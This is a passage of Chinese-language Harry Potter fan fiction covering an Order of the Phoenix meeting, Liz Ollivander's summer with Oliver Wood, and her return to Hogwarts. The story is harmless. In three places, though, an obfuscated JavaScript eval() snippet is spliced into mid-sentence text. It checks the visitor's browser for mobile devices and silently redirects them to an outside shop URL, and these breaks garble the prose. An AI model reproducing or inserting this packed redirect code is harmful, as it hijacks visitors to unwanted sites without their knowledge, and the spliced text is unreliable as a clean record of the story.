长舒一口气,他们同步调地低头看向始作俑者,塞西尔一点不在意,刚刚帮她挂好衣服的克利切揪着它那破烂的衣裳一步一步挪上了楼,它对着西里斯象征意义地躬身行礼,接着整个人倚靠在那画框旁,嘴里喋喋不休小声嘀咕着。 “是我的错觉还是这是真的,克利切对塞西尔的态度比对你好多了,”卢平走在西里斯后面,“你们谁是主人来着?” “天知道?”西里斯总算把刚刚没翻完的白眼翻完了。 此时墙上挂钟的时针指在数字九与十之间,刚刚在楼上的唐克斯也下来了,她进门时弄倒了角落碗柜上摆放的刚洗完的餐具,滴下来的水珠弄湿了地板。在接下来的五分钟内,先是今晚在古灵阁值班的比尔·韦斯莱,是韦斯莱家的大儿子,他一边说着“爸爸还在魔法部办公室里”,一边走到了唐克斯旁边,然后是阴沉着脸的斯内普,他淡淡扫了一眼,闷不吭声坐下。不同的人一个跟着一个进来,直到将屋子里这张长桌坐满了大半,卢平便举起魔杖锁上了门,几道门锁被卡死,大家的注意力就都集中到了桌子的最顶头。 被塞西尔按在那张凳子上的小个子男人,叫做蒙顿格斯,如果不出意外的话,他这个时候应该在女贞路附近巡逻,等到凌晨十二点与下一个人换班,也就是塞西尔。 这是邓布利多在这个暑假里安排给在座全员最重要的一个任务,更是凤凰社正式重启后的第一个任务。 “摄魂怪到了女贞路,蒙顿格斯,你有什么想法吗?”塞西尔冷着脸问道。 “是……是吗,他们应该没有对哈利做……”蒙顿格斯心虚地眨着眼睛,整个人差点就要躲到桌子下面去。 “你以为邓布利多先生这个点赶去魔法部是为了喝福吉办公室的咖啡吗?”赛西尔又把他拉起身。 “噗嗤。”桌子另一侧西里斯竟然笑出了声,尽管十分钟前他心急如焚地借了韦斯莱家的猫头鹰,给哈利送去了信警告他千万不要轻举妄动,但是他仍然觉得这一幕审问蒙顿格斯的塞西尔看起来有些滑稽。 “所以波特那儿现在就可以没人了,接班的人在这里玩审问游戏。”紧急被召来的斯内普不屑地看着塞西尔。 “哦西弗勒斯我没注意到你来了,你的意思是说,那孩子刚刚打跑了几只摄魂怪,我们也不知道魔法部在那儿有没有埋伏,然后又有一个成年巫师大摇大摆出现在女贞路,”塞西尔一口气都没停歇说着一整个长句,“是认为我们亲爱的战友蒙顿格斯今晚捅的篓子还不够大,非要我再去惹人注意是吗?” 这下第二个笑出声的是卢平,他跟西里斯饶有兴致地看着斯内普被塞西尔一句话噎得黑了脸,这景象冲淡了今晚发生的意外,增添了不少乐子。 在所有人轮番警告蒙顿格斯最好别再有下一次之后,锁着的门打开了。 最后一个到来的是阿拉斯托·穆迪,他看起来已经完全痊愈了,他没有坐下,而是站在了门边,对着里面的人说道:“邓布利多要我带上几个人去接哈利到总部来,金斯莱已经等在楼下了。” “我要去!”唐克斯立刻站起来,“我想去见见那孩子!” 穆迪皱着眉头看了一眼发色夸张的唐克斯,勉强点点头问:“其他人呢?” 陆续又有几个人提出要跟来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487860|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西里斯也出了声,穆迪略过了他,从中选了另外的两个,然后看向了卢平:“还得要一个最靠谱的,莱姆斯你也一起来吧。” 正当大部队浩浩荡荡要出去时,穆迪停住了脚步,他挪着假腿回到屋子里,看向塞西尔,她正在和比尔讨论有没有什么恶咒可以用来威胁蒙顿格斯,比如只要不守约就会烂腿。 “邓布利多说把蒙顿格斯留给他处理,你得让你的白狮子去那儿转一圈,为我们开道。”穆迪说罢便转头离开。 “我知道了。”塞西尔不情不愿松开了手,又一次被忽视了的西里斯也是一脸的不如意,刚刚坐满人的屋子这时候只剩下了他们几个。 斯内普见西里斯那一副吃了粪蛋的表情,阴阳怪气地开了口:“你的任务可重要多了,大扫除还顺利吗?” 话一出口,西里斯整个人从凳子上弹了起来,没了卢平这个唯一能压住他们别起矛盾的人在场,塞西尔觉得如果这时候不插嘴的话,两个人真有可能打起来,而她还偷偷给西里斯送了魔杖,这可不能让斯内普发现。考虑到这一层,塞西尔立刻走到西里斯身后,按着他的肩膀,两人眼神相对,她缓缓摇了摇头。 “真不错,”斯内普冷笑一声,“兄弟俩都是你的菜。” 完了,比尔看到塞西尔头发瞬间变了颜色,瞪大了眼睛。俗话说只要有一个人比自己更疯狂,自己就会神奇地冷静下来,这一秒的西里斯·布莱克绝对认同这句话,因为他不假思索起身和塞西尔换了个位置,两手把她按住,让她千万别动。 难忍的刺鼻烟味从不远处弥漫开来,别说是冲突了,所有人默契地同时面向顶头,大喊:“蒙顿格斯,别抽那玩意儿!” “我说过不止一次了,蒙顿格斯!”门外传来了同样的话,莫丽·韦斯莱,亚瑟·韦斯莱的妻子,一把把门推开,“我们还要在这儿吃饭呢,不要在这里抽!” “爸爸,”比尔看到了后面跟着的亚瑟,“魔法部那里是什么意见?” “福吉连我也审了一遍,”亚瑟看向塞西尔,“他甚至一开始都不让邓布利多进门,他觉得我和你现在都是彻头彻尾的邓布利多派。” “这老家伙还真的觉得有人想要他的部长位置?”塞西尔轻轻推开西里斯的手,换了一个离亚瑟近点儿的位置。 “很可惜,确实是这样,金斯莱目前是斯克林杰的人,所以还好一点。”亚瑟点点头,“说实在,连我都觉得魔法部现在确实被分成了两派,尽管邓布利多对那些权力毫无兴趣。” “阿莫斯都被审过了,福吉认为塞德里克的死只是流窜的食死徒所为,”塞西尔一副被气笑了的样子,“竟然去审问一个失去了儿子的父亲。” 那件悲剧似乎还在每个人眼前,莫丽抽泣了一下,比尔垂下头去,亚瑟也安静了一阵,而后看了一眼墙上的时间:“不说这么多了,魔法部会在之后召开一次听证会,这是邓布利多争取到的,为了让哈利不被开除。” “我真想看看博恩斯听说这个荒唐听证会的表情。”塞西尔说道。 见亚瑟一脸难以启齿,她又补充道:“福吉不会已经插手司法……” “看来是这样。”一切尽在不言中,西里斯感叹道。 “你没忘记什么事情吗?”斯内普再次打破沉默,“伟大的塞西尔女士。” “没忘记!”塞西尔怒气又回来了,她喊着克利切的名字让它把外套拿过来,接着头也不回走出了格里莫广场12号。 留在桌旁的西里斯看了一眼那位布莱克家的老家养小精灵,他现在真的搞不懂究竟谁才是它的主人了。 73. 未来的生活 这个夏天接近尾声时,莉兹结束了自己在青训队的训练,并如她的妈妈米歇尔·奥利凡德所预料的那样,顺利拿下了进入英格兰队大名单的一张入场券,尽管只是作为替补,她也仍然是继伍德之后,年纪最小的国家队选手。 《魁地奇速报》上用“星途坦荡”四个字来形容莉兹·奥利凡德,称她是低调而刻苦的天赋家,说她的身上有米歇尔的影子,作为一个仅仅在青年赛中露过几次脸的非职业魁地奇选手,那些头衔太重了,也太夸张了。不过很显然,英格兰魁协更希望头版上贴着的是一个十七岁姑娘的训练照,而不是英联赛各俱乐部抵制麻瓜歧视法案的发文。 或许逃避现实就是大多数人面对现实的方式,莉兹并不否认这是个好办法,可是非要如此吗,忽视那些亲眼所见、亲耳所听的事情,当作一切尚未改变,生活依旧如同原先一般,这似乎已经不再是逃避,更应该是一种欺骗了。 她倒也没有天真到觉得能看到一些关于“真相”的新闻,毕竟报纸老早就成了一些人的玩具,这对她来说可不是新闻了。 在这般背景下,立场鲜明的普德米尔联队后来宛如隐身了一般,球迷们无法通过报纸知晓他们的任何消息。好在还有几个关于魁地奇的电台节目,其中一档的主持人是和米歇尔同期退役的选手,但这两个月都一直称病不出现,所以节目由一位年轻人做代班主持,她言辞犀利、敢于质疑,是在魁协监管下为数不多坚持公开发声的人。 把自己封闭在训练中的莉兹直到前两天才第一次打开了收音机,主持人一开口她就听了出来,那是刚刚毕业的杰姬,一个爽朗而富有领袖气质的姑娘,她在最后一次级长会议上,就在邓布利多校长向全校师生坦白了塞德里克的死因之后,她面对着弥漫着恐惧、怀疑、不安的会议室,说自己永远不会做一个沉默的人。 “我们手握徽章,我们就要与霍格沃茨永远站在一起,与我们的同学站在一起。” 她果然是做到了。 杰姬在节目中讲了上一轮普德米尔在客场比赛中发生的事情,主场是号称纯血拥护派的老牌队伍,当天有普德米尔的球迷将费力拔烟火带了进来,一边拉开写着“魁地奇属于所有人”的横幅,一边将烟火燃放,整个南看台仿佛一片火海。赛后取得胜利的普德米尔联队全体队员走向南看台,对着所有远道而来支持他们的球迷们鞠躬致谢,也一起举起魔杖在空中写出了那句“魁地奇属于所有人”。 “……多好的一句话,魁地奇属于所有人,属于每个女人、每个男人,属于每个穷人、每个富人,属于任何血统出身的人。”杰姬这样评价道。 伍德也在先前寄给莉兹的信中提到了这件事,还说因为那些费力拔烟火,普德米尔联队交了很大一笔罚款,而他们已经很多年没有被开过类似的罚单了,魁协的心思真是昭然若揭。 禁赛期结束重新回到赛场后,伍德几乎每天都会抽出时间给莉兹写信,有时实在来不及,他便让米拉尼尔捎去一包太妃糖。但因为送得太多了,莉兹甚至腾出了一个空抽屉,给它施了一个咒语,好让房梁上偶尔路过的老鼠一家能离远一点。 木头先生的示好一如既往的笨拙,但莉兹却只觉得他傻得可爱。 直到弗洛林冷饮店的老板福斯科先生在昨晚告诉她,有人想要租下店铺后面那间闲置的空房,而她永远也猜不到会是谁。 抱着好几本刚买的新书的莉兹倚着柜台,被这句话勾起了兴趣,一位与她有关的神秘租客,还让老板兼房东如此兴奋。 “奥利弗,对吧?”莉兹不假思索对着福斯科说道。 “这是你自己猜出来的,他可就怪不着我了。”福斯科接过莉兹手里的银西可,将甜筒冰淇淋递给她。 伍德大概没想到,自己精心设计了好几个月的惊喜,居然被房东两句话就透露给了自己喜欢的姑娘,而聪明的莉兹竟是难得体贴没有戳穿他。 其实他想从家里搬出来已经有一段时间了,因为普德米尔训练场距离他父母的家并不近,虽然幻影移形和飞路粉都很方便,但是更主要的还是因为父母总是希望他在比赛中收敛一些,少说话少表态。爸爸更是希望他借此机会转去国外的俱乐部,他们认为这样比较平安。伍德理解父母作为那个时代的幸存者的担忧,却无法符合他们的期待。 至于租房的地址为什么选在对角巷,这自然和莉兹有关,他只是想在她毕业后离她近一点,他甚至给不出更加具有说服力的理由,因为想见到她,因为想和她在一起,所以搬来了这里。 若说完全没有触动,那肯定是假的,世界上有一个人将自己放进了未来的生活里,莉兹过去从未想过这会是什么感受。 出于一种自我保护的本能,她一直以来都避免设想自己的人生下一步,她觉得只要暂时不去想,一切就会来得缓慢一些,自己就会没有那么在意自己到底有多厌烦那个围绕着米歇尔的魁地奇塑造出来的莉兹·奥利凡德。 “如果我说我其实不想进国家队呢?”她以为自己在这时候说出这句话是在对伍德泼冷水。 “那也不会改变我想留在你身边的事实,”伍德早已过了那个会因为莉兹放弃担任校队队长而与她闹别扭的年纪,“我其实也是最近才开始理解你的,与父母站在不同的立场不是一件让人开心的事情,尤其是自己还非常在乎他们的时候,我第一次知道这会很痛苦。” 莉兹缓缓抬起头,看向面前这个傻笑着摸着后脑勺的男孩,他低头的样子有点局促不安,而后又继续说:“我一直在想如果你真的讨厌魁地奇的话,那你肯定要轻松多了,人怎么因为不在乎的事情难受呢……” 他的话被突如其来的拥抱打断,莉兹扑进他的怀中,呼吸的热度透过单薄的布料在他的胸口蔓延,仅仅几秒钟,伍德就觉得自己的头顶好像在冒热气。可她就这样安静地、一动不动,两手紧紧圈住他,手用力扯住他的衣服,留下深深的褶皱,像要撕开什么似的。 伍德迟钝地回应着她,抬手轻轻抚摸着她的后颈,卷发发尾扫过他的手背,另一只手环过她的腰,支撑着她身体的重量,他的思绪也在相拥的一刻变得平和。他想自己可能永远也不会告诉莉兹,她向他展示出真实情感的每一刻都让他雀跃,就像他又离她近了一步。 转眼间就到了开学日,这日一早莉兹在意志力的唤醒下从被子里爬出来时,家里又只剩下了她一个人,她想爸爸罗里大约是忘记了要送她去国王十字车站的事情,不然也不会留下一份三明治就离开家去圣芒戈医院。用牛皮纸把早餐包好,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487861|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招呼着班克飞进笼子,而后将飞天扫帚用胳膊夹着,艰难地拖着行李箱推开家门。 往年一直是米歇尔带着她用飞路粉去火车站附近的酒馆,但因为世界杯时期的食死徒事件,许多非官方的飞路网都被查封,这条捷径也被堵死了。如果说没这么多行李,她还能赌一把幻影移形,可是这手脚并用都不够用的情况,实在不能冒险。而且要是伍德没有离开伦敦去比赛的话,两个人也许还可行。 总而言之,此时已经是一名七年级学生的莉兹·奥利凡德碰上了自己入学以来最严峻的危机,因为她只剩下了使用真正的麻瓜交通工具这一个途径。 “嘿,想我了吗?” 熟悉的声音响起,莉兹好像看见了救星一般,许久未露面的塞西尔又变了发型,这会是黑色的短款鲍勃头,发尾微微卷出弧度,看起来像一颗圆圆的蘑菇。只不过她的脸色看着不太好,不知是不是没休息好,这个假期她们本就不常联系,一个忙着训练,一个忙着玩失踪。 “这太惊喜了,”莉兹笑着回答,“你怎么会来这里,难道是知道爸爸放了我鸽子吗?” 听了这话塞西尔愣了一下,她伸手提起班克的笼子,又接过莉兹的飞天扫帚说道:“罗里真是永远都不会让人失望,我只是觉得很久没见过我亲爱的侄女了,所以想趁今天来见见你,看来我来得很及时。” “不是的,你一定有什么事情吧?”莉兹立马摇头。 “长大的孩子真是不可爱了,”塞西尔一边向前走一边解释,“因为一些事情,我需要在一小时内到达国王十字车站。” “明白了,是不能说的事。”莉兹抬头与塞西尔对视了一眼。 “但未来某一天我们可能会需要你的帮助,”塞西尔的表情变得认真,“只有你能做到的事情。” “如果这件事真的存在的话。”莉兹用玩笑话的语气冲淡了这一刻的氛围,她将行李装进塞西尔借来的那辆二手甲壳虫里,因为车确实很小,所以飞天扫帚只能探个头在车窗外。 车开出半路,塞西尔皱着眉头好像还有什么话要说,犹豫了好一阵子,她终于开了口:“其实你到了学校应该就知道了,但我还是得提前提醒你,你们这学期会有一位新的黑魔法防御课老师。” “哦,这挺新鲜的,因为我们每年都有这样一位新老师。”莉兹又开起了玩笑。 “这一次是魔法部外派的,你明白这意味着什么吗,”塞西尔稍稍提速超过了一辆车,“是福吉办公室的人,我想今年一定不会是太平的一年,我希望你一定护住自己的安全。” “看来学校也是一样的……”莉兹低声念叨着。 “什么?”塞西尔在车站前一个路口停下,反问道。 “没什么,我是说,我会我认为做正确的事情,同时保证自己的安全。”莉兹清了清嗓子,伸手打开车门,“好了,我乖乖上学,也会给你写信的。” 手握方向盘,塞西尔看着莉兹远远走向马路对面的身影,回想起邓布利多向自己询问起莉兹的时候,其实她有一瞬间是后悔的,她是不是不应该将刚刚成年的她拉进漫长的战争里,是不是不应该期待她在站队中做出选择。 毕竟对于一个早慧的孩子来说,她眼里的世界已经足够丑陋。 74. 能被听懂的那些话 开学日一如往常拥挤的九又四分之三站台,新生们的父母与孩子不舍道别,老同学们一边聊着假期见闻,一边寻找着还有空座的车厢,这场景太熟悉了太热闹了,莉兹一时变得沉默,她攥紧了自己的光轮1700,另一只手推着行李车埋头向前走,班克在笼子里不安分地胡乱扑扇着翅膀。 “我现在不能放你出来,安静点。”莉兹停下来埋怨了猫头鹰两句,把笼子又扣紧了一些。 “嘿,小古板女士,要搭把手吗?”一旁车厢里坐着的人探出了个半个身子和她打招呼。 一整个假期未有一点儿消息的两个家伙似乎又经历了一回抽条,看起来又瘦又长,下巴变得尖尖的,连那头乱糟糟的姜黄色头发也剪短了。 “不了,我去找……”莉兹看向前面不远处刚和父母拥抱着分开的秋·张,就在二人视线就快接上时,自己却又突然回避了目光。 离校前玛丽埃塔的责怪声还没有从莉兹的脑海消失,她质问她为何神色平静,质问她为何如此冷漠,质问她为何如无事发生一般。 “你们不是最好的朋友吗,你真是可怕极了!” 那时的秋失魂落魄坐在椅子上,她无力再和平日一样调解宿舍的关系,莉兹弯下腰帮她把滑落在地上的巫师帽捡起来放在行李箱上,而后伸手提起班克的空笼子,一言不发离开了宿舍。 自那之后,莉兹再也不敢看她一眼。 “来吧,别客气了!” 眨眼的功夫,弗雷德已经跳下了车,他抢过她的扫帚和笼子,乔治则是将她的行李箱从推车上拖下来。 “梅林的胡子,小古板女士你这是把所有家当都搬来学校了?”乔治拉着箱子露出一副吃劲的表情,另一只手拍拍她的肩膀,催促着她赶紧上车。 刚拉开车厢门,安吉丽娜便招呼她坐到自己身边,今年霍格沃茨的魁地奇比赛恢复,担任魁地奇队长的安吉丽娜对莉兹暑假里的青训生活很是感兴趣,她迫不及待想要问她一些“内幕”消息。韦斯莱双胞胎兄弟二人帮她把东西放上行李架之后,将原本坐在她们对面的李·乔丹挤到靠窗的位置,七嘴八舌也加入了这番“采访”。 小小的空间里同一时间有好几个人在说话,吵闹的感觉让两个月都将自己埋在寂静之中的莉兹一时间措手不及,她不知道应该从哪里开始说起,或者其实他们也不是真的想让自己讲得那样详细,只是太久没见面,需要有个说话的由头罢了。 直到安吉丽娜提到了普德米尔和哈比队那场比赛之后伍德被禁赛的事情,莉兹才稍微缓过来了一阵,火车也在这时响起了出发的汽笛声,咔嗒一声最末端的车厢门上了锁,特快专列驶出国王十字车站,经过第一个隧道后就是空旷的田野。 “奥利弗的禁赛应该不是偶然事件……我想只是个开始吧,接下来英联赛所有俱乐部的处境应该会更糟糕。”莉兹用陈述事实一般的语气说着悲观的看法,“我是说,魁地奇如果不能保证完全的纯粹,那就会变成一种政……” 话说到一半她看到他们的表情就知道自己说错了,至少这个场合下她不应该这样说,就像大家只是在玩乐,而她却看着天上的月亮担心它总有一天会撞毁地球。 乔治留意到她眨眼的动作,就像是一不小心说出了心里话,而后又反应过来连忙将完整的句子吞回去了。莉兹先是向左下方一瞥,接着将视线再次放到开启了新话题的弗雷德身上,似乎那脱口而出的话一点都不重要,她并不需要任何人听她讲述似的。 可那种无所谓在乔治看来倒像是很有所谓,她其实很希望喊出什么声音。 不巧有谁叩响了车厢门的玻璃,几人同时转过头,拉文克劳的罗杰·戴维斯昂着头站在外面,他很不耐烦地盯着磨磨蹭蹭好一会儿才起身的莉兹,然后一扭头走向了前。 “真是太可怜了,小古板女士还得去级长车厢。”弗雷德调侃着,“好消息是至少你没有当上女生主席,对吧?” “所以坏消息是戴维斯成了男生主席吗?”安吉丽娜说道。 “坏消息,他是我们的队长。”莉兹看向她撇了撇嘴,“你今年也得在队长会议上跟他打交道。” “哦梅林,我完全忘记了这回事。”安吉丽娜皱起眉头。 快步穿过走道,莉兹在半路上碰见了帕德玛·佩蒂尔,是同寝室的五年级姑娘,今年成为了拉文克劳的级长。对方尴尬地和她点了点头,然后手指头绕着长辫子的发尾犹豫了好一阵子才开口说道:“我们坐在这边的车厢了,秋还在想你今天上车后去了哪里呢。” 她说到后面声音越来越小,莉兹差一点就没能听清楚,但句子里“秋”的名字还是点醒了她,也许自己只是在用同一份愧疚折磨着自己又刺痛着旁人。她悄悄吐出一口气,接着语气轻松地解释着:“我跟安吉丽娜还有乔治他们在一起,上车的时候人太多了。” “原来是这样啊,”帕德玛很显然立刻放松了下来,她笑着指了指那枚级长徽章说道,“暑假里收到它的时候我可惊讶了,没想到会是我,听说男生级长是安东尼,我先前都没怎么和他说过话,只可惜男生主席,我一直以为会是……” “塞德。”莉兹脱口而出了一个人名,这让她自己都吓了一跳,她回答得太自然了,自然到像是不需要经过思考一般,固有的思维就像一种习惯,左手写字的人不会用右手拿餐刀,“抱歉,我们快点过去吧。” 她僵硬地截断了对话,加快了步伐,同时也在心里一遍又一遍埋怨自己,她不知道今天自己是什么了,管不住自己的脑子也管不住自己的嘴,总是说着不合时宜的话,这也太不像她了。 这一届的女生主席是斯莱特林的梅根·斯克林杰,先前并不是级长,而是魁地奇球队的一员,在球场上表现平平,是替补击球手。不过莉兹对她有些印象,因为每一次队长格拉哈姆·蒙太带着队员想要做些什么百分百违反比赛规则的事情时,她总是会站出来拦住他们。 所以格拉哈姆和那个走后门的马尔福小子经常称呼她为“麻烦的斯克林杰”。 和热情的杰姬与善解人意的卡特相比,少言寡语的梅根和吹毛求疵的戴维斯自然不会那么让人愉悦,莉兹有一种回到了珀西在位的错觉,甚至比那还要糟糕一些,因为珀西只是无差别针对一切不符合他要求的人,但是罗杰·戴维斯却是精准指向级长中第一号刺头莉兹·奥利凡德。不仅如此,考虑到她有发动反抗行动将珀西架空的前科,戴维斯决心一定要好好提防她。 “我该怎么让他明白我对这一切都毫无兴趣。”莉兹低声自言自语,被一旁顶着一头乱蓬蓬的棕色卷发女生听到。 “外面斗着,学校里也斗着,确实没意思。”她小声接话。 “是啊。”莉兹应和着,而后低下头微微笑了出来,奇妙的心意相通吹散了盘桓在心头的那点憋闷,无法说出口的、说出口也不会被理解的,这些话都显得不再重要了。因为即便不会被听见,也总会有人是那样想的,这也许就够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487862|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 都说新官上任三把火,戴维斯的开场白说了很长一段,长到一旁的梅根毫不留情地直接插了进来,她重复了一遍往年对级长的要求,然后就让宣布了全员解散。戴维斯气得脸色发青,急得站在车厢里直跺脚,奈何众人都只顾着回自己的座位,谁都不想再听有谁打官腔,莉兹溜得尤其快,青训的成果还是在此刻得到了体现,她灵巧地穿梭在过道上,很快便消失在大家的视野里。 关于男生主席戴维斯的糗事没一会儿就在七年级的学生中传遍了,安吉丽娜甚至开玩笑地说:“虽然梅根是个斯莱特林,但我觉得我喜欢她。” “我认可你的说法。”莉兹抬手与安吉丽娜击掌,然后将乔治分给她的那袋曲奇饼包装撕开,把嘴巴塞得满满的。 天色渐晚,学校就在不远处,她想自己的确是有点饿了,因为她已经开始怀念霍格沃茨的布丁了。 尽管种种迹象已经表明今年一定会是一个反常的学年,但分院帽的新歌还是听得大家人心惶惶。 当分院帽唱出“我们的霍格沃茨面临着危险”的时候,莉兹看到秋眼中的慌乱,她手里的杯子突然倒下,在桌上滚了两圈,然后掉在了地上,果汁溅了她一身。趁其他人还没注意到,莉兹已经一挥魔杖将秋的巫师袍和桌面清理干净,接着把重新装满果汁的杯子推到她跟前。 “谢谢。”秋低声道谢。 莉兹应声,不自然地收回目光,手托着腮看向别处,她想这是她能做出的最大努力了,所以接下来的晚餐时间里,她一心只顾着将盘子里的馅饼、羊排、炖菜吃个精光,顺便听玛丽埃塔和秋在聊着邓布利多身旁那个穿着一件粉红色开襟毛衣还绑着一个巨大蝴蝶结的女人。 “乌姆里奇,她来霍格沃茨做什么,我妈妈可烦她了,”玛丽埃塔露出嫌弃的表情,“说她就是福吉的狗腿子,人前人后两幅面孔。” “显而易见,我们的黑魔法防御课教授的位置又空出来了。”隔了两个位置的戴维斯突然插话,玛丽埃塔面颊一红凑到了秋耳边又说了什么悄悄话。 “来自魔法部的老师,真是不错。”他又接着说,阴阳怪气的语调听不出是高兴还是反感。 如果可能的话,莉兹很希望戴维斯把这句话留到半个小时以后,因为谁也没有想到那位乌姆里奇女士竟摆出了一副主人姿态将正说着话的邓布利多校长赶到了一旁,然后送上了一番冗长、无趣且通篇都是虚伪说教的演说。 “我感觉我要把布丁吐出来了。”莉兹念叨着。 “是吃得太急了吗?”秋询问。 “不是的,”莉兹看向乌姆里奇,“我是被恶心的。” 听到她这番直率的对话总算让秋放下了悬在半空的心,她也顺着莉兹的目光一起看过去:“从一篇诋毁开始,然后是魁协,现在又是霍格沃茨,他们好像真的很害怕。” “能理解,懦夫们都怕真实的东西。”莉兹和秋仿佛在加密通话一样,玛丽埃特思索了一会儿才加入了聊天。 “所以你们都觉得邓布利多校长上学期说的是真的?”她说道。 这漫长的演说终于结束了,莉兹是一分钟也待不下去了,她摆摆手起身说:“不是觉得,而是那就是真的。” 她步伐匆匆想在所有人之前走出礼堂,结果刚跨出大门就被人一左一右架住,这熟悉的绑架手段让她不用回头看就叫出了行凶者的姓名。 “直说吧,韦斯莱先生们,又想借我的脑子做些什么?” 75. 安全的课程 “我们正需要小古板女士的权威意见呢。”乔治拍了拍她的肩膀。 另一边的弗雷德则是弯下腰来看着莉兹的脸:“别板着一张脸了,今年可有的是让你操心的事情,现在先跟我们去找点乐子。” 话音刚落,莉兹几乎是双脚离地,兄弟俩奔跑着穿过长长的走廊,钻进她曾经用来逃避旁人的小径,来到了这间她在四年级圣诞晚宴后第一次知晓的秘密基地,专属于韦斯莱双胞胎兄弟,他们在这里捣鼓出了无数令人惊奇的笑话道具,为他们的将来绘出了一张又一张图纸。 身后的俩人轻轻将她向前一推,同时一挥魔杖,木门的门栓松开,门向内打开,莉兹警惕地迈出第一步,她期待过这里和从前似的凌乱不堪,可实际上却完全相反,四面墙上印满了他们设计出的图样,橙色的发光贴纸把整个屋子照得亮堂堂,紫色的丝带飘扬落下,在她的手上变成了一只纸制的小鸟,轻轻啄她的手心。 正对着门的方向还挂着几块软木板,一块上面用图钉固定着几张牛皮纸,写着的都是兄弟俩研发出的道具名字,旁边那一块上面则是标注着固定的魔药配比,莉兹写的那一张也在那儿,她看到了自己用墨水划掉的一行错字。 “你们看起来……”她转身看着昂起头等待着赞叹之语的二人,嘴角微微扬起,一点笑意并不明显,“预算很足啊。” 手上的紫色小鸟已经飞到她的头顶。 “小古板女士就没有一点儿其他的想说的吗?”弗雷德走进来,两手在胸前转了几个圈,接着指向一旁打开的纸盒子,“我们已经提前注册了店名,这是我们的商标。” “韦斯莱魔法把戏坊,真厉害,地址呢,也要开在对角巷吗?”莉兹的语气依然平淡。 “虽说是这样计划的,不过房租的事情还得好好谈谈,”乔治挠了挠头,“对角巷待租的铺子没有太多合适的。” “你们可以问问福斯科先生,他手上房源很多的,”她打量着那些道具,然后饶有兴致拿起一双其貌不扬的手套,“这一定费了不少功夫吧。” “这正是我们要找你帮忙的,”弗雷德眼睛一亮,俯身从一旁的大箱子里翻出一顶巫师帽,“这是防咒帽和防咒手套,虽然它的作用和我们其他精妙绝伦的道具比起来有点无趣,但乔治认为它会在将来某一天很畅销的……” 他故作神秘眨了眨眼,好像这个理由并不需要明说,至少对面前的姑娘来说是这样。 “那需要我做些什么呢,对着你们使用恶咒?”莉兹轻笑一声。 “那可使不得,我们还想活着开店呢,”乔治拿开她头顶的小鸟放到一旁,“我是这样想的,因为你能制作魔杖,尽管我并不知道原理,但是要点都是能够作为魔法的媒介,它最终目的是反弹恶咒,将防御魔咒的效果提升到最大,所以应该是有一点联系的吧。” 弗雷德看着兄弟十分大方地将他那写满了秘密研发过程的笔记本在莉兹面前翻开,并一本正经地询问起了意见,一肚子的调侃也收回了一半,他站到乔治的旁边,低头听着莉兹解释着各种材质对施咒效果的影响,恍然间还以为这是过去的时间。 “我必须要说,”莉兹又拿过那只紫色鸟,摆弄着它脆弱的小翅膀,“和你们比起来我是个彻底的理论派,我不能保证我的建议是有用的。” “我也说一句实话,”弗雷德最终还是没能将所有话都咽回去,“我们只是想给你显摆一下而已,给姑娘们看看我们的一番大事业。” “姑娘们,你给安吉丽娜看过了吗,还有金妮呢?”莉兹又笑一声,完全没有在意乔治从身后踹的弗雷德那一脚。 “这我就更有话说了,你可得仔细查一查奥利弗,他的灵魂好像住进安吉丽娜的身体里了,她一门心思都想着周五的招新呢。”弗雷德轻巧躲开第二脚。 “你也提醒我了,戴维斯叫着今晚在公共休息室开会,”莉兹匆忙将鸟还到乔治手里,“我现在应该回去了。” 还没等莉兹转身,乔治反应迅速地拉住了她的手,女孩的银白色眼睛瞪得圆圆的,他便立刻解释道:“这就是送给你的。” 说着两手一拍,紫色的小鸟变成了丝带系成的蝴蝶结,被乔治塞进了她的巫师袍口袋里,他最后又提示道:“只要放在手心一拍就能变化。” “谢谢,”又是一阵不明显的欣喜在莉兹脸上浮现,“你们果然还是很厉害。” 木门紧闭,女孩匆匆的脚步声消失在密道之外,乔治长长吐出一口气,在椅子上瘫坐下。一旁站着的弗雷德两手揉着他的肩,一边笑话一边安慰着他说:“已经很棒了,乔治。” 暂停了一年的魁地奇比赛会在十月后重开,各个学院自然是卯足了劲要赛出风头的。连早已离开英格兰队的米歇尔都在来信中要求莉兹最好是拿下一次学院杯,这能帮她在现在的队里站稳脚跟,尽管青训营的背景足够助力她在毕业后进入一队,可在学校里没有一点拿得出手的成绩(她甚至不是拉文克劳学院魁地奇队长),未来就只能被边缘化。 这可真是求之不得,莉兹巴不得英格兰青训的教练给她发一张资质不合格必须退队的通知,让米歇尔不得不放弃给她铺这条路。 